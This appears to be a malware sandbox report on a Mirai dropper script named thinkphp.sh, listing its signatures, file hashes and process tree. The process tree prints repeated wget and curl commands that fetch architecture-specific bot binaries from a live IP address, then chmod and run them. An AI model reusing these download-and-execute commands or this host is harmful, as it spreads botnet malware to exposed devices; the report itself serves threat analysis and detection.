Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2026, 13:40

General

  • Target
    thinkphp.sh
  • Size 2KB
  • Sample261027-qyt8cset4p
  • SHA256 73afe3529e8a831644fce44424c008a7df4174e8cb9670310541987469b0d2d8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 3 IoCs
  • Mirai Motorola payload 1 IoCs
  • Mirai Renesas payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/thinkphp.sh
    /tmp/thinkphp.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:647
    • /usr/bin/wget
      wget http://31.42.177.185/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:652
    • /usr/bin/curl
      curl -O http://31.42.177.185/bins/px86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:670
    • /bin/cat
      cat px86
      2⤵
        PID:676
      • /bin/chmod
        chmod +x payloadfile px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/payloadfile
        ./payloadfile thinkphp.selfrep
        2⤵
          PID:678
        • /usr/bin/wget
          wget http://31.42.177.185/bins/pmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:680
        • /usr/bin/curl
          curl -O http://31.42.177.185/bins/pmips
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:681
        • /bin/cat
          cat pmips
          2⤵
          • System Network Configuration Discovery
          PID:682
        • /bin/chmod
          chmod +x payloadfile pmips px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/payloadfile
          ./payloadfile thinkphp.selfrep
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://31.42.177.185/bins/pmpsl
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://31.42.177.185/bins/pmpsl
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:687
          • /bin/cat
            cat pmpsl
            2⤵
              PID:696
            • /bin/chmod
              chmod +x payloadfile pmips pmpsl px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
              2⤵
              • File and Directory Permissions Modification
              PID:698
            • /tmp/payloadfile
              ./payloadfile thinkphp.selfrep
              2⤵
                PID:700
              • /usr/bin/wget
                wget http://31.42.177.185/bins/parm
                2⤵
                • Writes file to tmp directory
                PID:702
              • /usr/bin/curl
                curl -O http://31.42.177.185/bins/parm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:711
              • /bin/cat
                cat parm
                2⤵
                  PID:723
                • /bin/chmod
                  chmod +x parm payloadfile pmips pmpsl px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:726
                • /tmp/payloadfile
                  ./payloadfile thinkphp.selfrep
                  2⤵
                  • Deletes itself
                  • Modifies Watchdog functionality
                  • Changes its process name
                  • Reads runtime system information
                  PID:728
                • /usr/bin/wget
                  wget http://31.42.177.185/bins/parm5
                  2⤵
                  • Writes file to tmp directory
                  PID:731
                • /usr/bin/curl
                  curl -O http://31.42.177.185/bins/parm5
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:742
                • /bin/cat
                  cat parm5
                  2⤵
                    PID:747
                  • /bin/chmod
                    chmod +x parm parm5 payloadfile pmips pmpsl px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:748
                  • /tmp/payloadfile
                    ./payloadfile thinkphp.selfrep
                    2⤵
                      PID:749
                    • /usr/bin/wget
                      wget http://31.42.177.185/bins/parm6
                      2⤵
                      • Writes file to tmp directory
                      PID:750
                    • /usr/bin/curl
                      curl -O http://31.42.177.185/bins/parm6
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:751
                    • /bin/cat
                      cat parm6
                      2⤵
                        PID:752
                      • /bin/chmod
                        chmod +x parm parm5 parm6 payloadfile pmips pmpsl px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:753
                      • /tmp/payloadfile
                        ./payloadfile thinkphp.selfrep
                        2⤵
                        • Deletes itself
                        • Modifies Watchdog functionality
                        • Changes its process name
                        • Reads runtime system information
                        PID:754
                      • /usr/bin/wget
                        wget http://31.42.177.185/bins/parm7
                        2⤵
                          PID:786
                        • /usr/bin/curl
                          curl -O http://31.42.177.185/bins/parm7
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:790
                        • /bin/cat
                          cat parm7
                          2⤵
                            PID:791
                          • /bin/chmod
                            chmod +x parm parm5 parm6 parm7 payloadfile pmips pmpsl px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                            2⤵
                            • File and Directory Permissions Modification
                            PID:792
                          • /tmp/payloadfile
                            ./payloadfile thinkphp.selfrep
                            2⤵
                              PID:793
                            • /usr/bin/wget
                              wget http://31.42.177.185/bins/pppc
                              2⤵
                              • Writes file to tmp directory
                              PID:794
                            • /usr/bin/curl
                              curl -O http://31.42.177.185/bins/pppc
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:795
                            • /bin/cat
                              cat pppc
                              2⤵
                                PID:796
                              • /bin/chmod
                                chmod +x parm parm5 parm6 parm7 payloadfile pmips pmpsl pppc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                2⤵
                                • File and Directory Permissions Modification
                                PID:797
                              • /tmp/payloadfile
                                ./payloadfile thinkphp.selfrep
                                2⤵
                                  PID:798
                                • /usr/bin/wget
                                  wget http://31.42.177.185/bins/pm68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:800
                                • /usr/bin/curl
                                  curl -O http://31.42.177.185/bins/pm68k
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:801
                                • /bin/cat
                                  cat pm68k
                                  2⤵
                                    PID:802
                                  • /bin/chmod
                                    chmod +x parm parm5 parm6 parm7 payloadfile pm68k pmips pmpsl pppc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:803
                                  • /tmp/payloadfile
                                    ./payloadfile thinkphp.selfrep
                                    2⤵
                                      PID:804
                                    • /usr/bin/wget
                                      wget http://31.42.177.185/bins/pspc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:806
                                    • /usr/bin/curl
                                      curl -O http://31.42.177.185/bins/pspc
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:807
                                    • /bin/cat
                                      cat pspc
                                      2⤵
                                        PID:808
                                      • /bin/chmod
                                        chmod +x parm parm5 parm6 parm7 payloadfile pm68k pmips pmpsl pppc pspc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:809
                                      • /tmp/payloadfile
                                        ./payloadfile thinkphp.selfrep
                                        2⤵
                                          PID:810
                                        • /usr/bin/wget
                                          wget http://31.42.177.185/bins/pi686
                                          2⤵
                                            PID:812
                                          • /usr/bin/curl
                                            curl -O http://31.42.177.185/bins/pi686
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:813
                                          • /bin/cat
                                            cat pi686
                                            2⤵
                                              PID:815
                                            • /bin/chmod
                                              chmod +x parm parm5 parm6 parm7 payloadfile pi686 pm68k pmips pmpsl pppc pspc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:816
                                            • /tmp/payloadfile
                                              ./payloadfile thinkphp.selfrep
                                              2⤵
                                                PID:817
                                              • /usr/bin/wget
                                                wget http://31.42.177.185/bins/psh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:818
                                              • /usr/bin/curl
                                                curl -O http://31.42.177.185/bins/psh4
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:820
                                              • /bin/cat
                                                cat psh4
                                                2⤵
                                                  PID:821
                                                • /bin/chmod
                                                  chmod +x parm parm5 parm6 parm7 payloadfile pi686 pm68k pmips pmpsl pppc psh4 pspc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:822
                                                • /tmp/payloadfile
                                                  ./payloadfile thinkphp.selfrep
                                                  2⤵
                                                    PID:823
                                                  • /usr/bin/wget
                                                    wget http://31.42.177.185/bins/parc
                                                    2⤵
                                                      PID:825
                                                    • /usr/bin/curl
                                                      curl -O http://31.42.177.185/bins/parc
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:826
                                                    • /bin/cat
                                                      cat parc
                                                      2⤵
                                                        PID:827
                                                      • /bin/chmod
                                                        chmod +x parc parm parm5 parm6 parm7 payloadfile pi686 pm68k pmips pmpsl pppc psh4 pspc px86 systemd-private-1d8bca09173c426d9d592473b5ae5e96-systemd-timedated.service-ah3Q5t thinkphp.sh
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:828
                                                      • /tmp/payloadfile
                                                        ./payloadfile thinkphp.selfrep
                                                        2⤵
                                                          PID:829

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            parc

                                                            • Path /tmp/parc
                                                            • Size 207B
                                                            • SHA256 9b43506b3cac0626c80ce3fdbbf0457f947b9ea6a828d9e8753aa2ae5af009f4
                                                            • MD5 SHA1 SHA512 TLSH

                                                            parm

                                                            • Path /tmp/parm
                                                            • Size 37KB
                                                            • SHA256 7143ec6a04e32b8df5d70bd18ad1ecb52f8e0bde5535e30336b45f73ca28e397
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            parm5

                                                            • Path /tmp/parm5
                                                            • Size 18KB
                                                            • SHA256 aab258a45bce081c36966b318e345fc37f23c34bb4da4b247d4185b8be497b7a
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            parm6

                                                            • Path /tmp/parm6
                                                            • Size 42KB
                                                            • SHA256 127d6d4172f062188f6529d9f87edbedb6837a699b0d898e7e5533e4366e3bb5
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            parm7

                                                            • Path /tmp/parm7
                                                            • Size 208B
                                                            • SHA256 d2ff20d3f3d2fd6c6c827182282a213d3763d8a103d5d5387354221f9e86ecff
                                                            • MD5 SHA1 SHA512 TLSH

                                                            payloadfile

                                                            • Path /tmp/payloadfile
                                                            • Size 224KB
                                                            • SHA256 6b51152a4d74cde0718c91fae7259d4368036f03f50aa0136b2b4e2e575e01cb
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            pi686

                                                            • Path /tmp/pi686
                                                            • Size 208B
                                                            • SHA256 307d2eface236ba30803df0749faf9c0ad21c49ab1b4903458d4e54bc4a9c96e
                                                            • MD5 SHA1 SHA512 TLSH

                                                            pm68k

                                                            • Path /tmp/pm68k
                                                            • Size 95KB
                                                            • SHA256 40f43a51038a0fb5f9ca93d1645c2c2f7667a77a0b8bae18927bee4c4e452850
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            pmips

                                                            • Path /tmp/pmips
                                                            • Size 44KB
                                                            • SHA256 864d86543de8212a5c840572e864d34aa317a51c60a39cfd1eb086eb6ea6a130
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            pmpsl

                                                            • Path /tmp/pmpsl
                                                            • Size 44KB
                                                            • SHA256 da2640dd00b984ce1f88f51763518f8bcabd0916097ea9d721a39c5d6d04181f
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            pppc

                                                            • Path /tmp/pppc
                                                            • Size 39KB
                                                            • SHA256 90306beae0daa0b2245ca271840f1815dfded591b99fff8e607dcec6eb7539ca
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            psh4

                                                            • Path /tmp/psh4
                                                            • Size 77KB
                                                            • SHA256 cdd492239e9e07ae647348e836a119d676299f97441c23b04e143290b18fa835
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            pspc

                                                            • Path /tmp/pspc
                                                            • Size 224KB
                                                            • SHA256 434a163708ee308d1c3a320013fc7d64efdc3e8074466d556972de35b21fb137
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            px86

                                                            • Path /tmp/px86
                                                            • Size 38KB
                                                            • SHA256 a6ce3fec938324bd5408390d4391fb152535c4f283b1b523c6ab9623c0732673
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH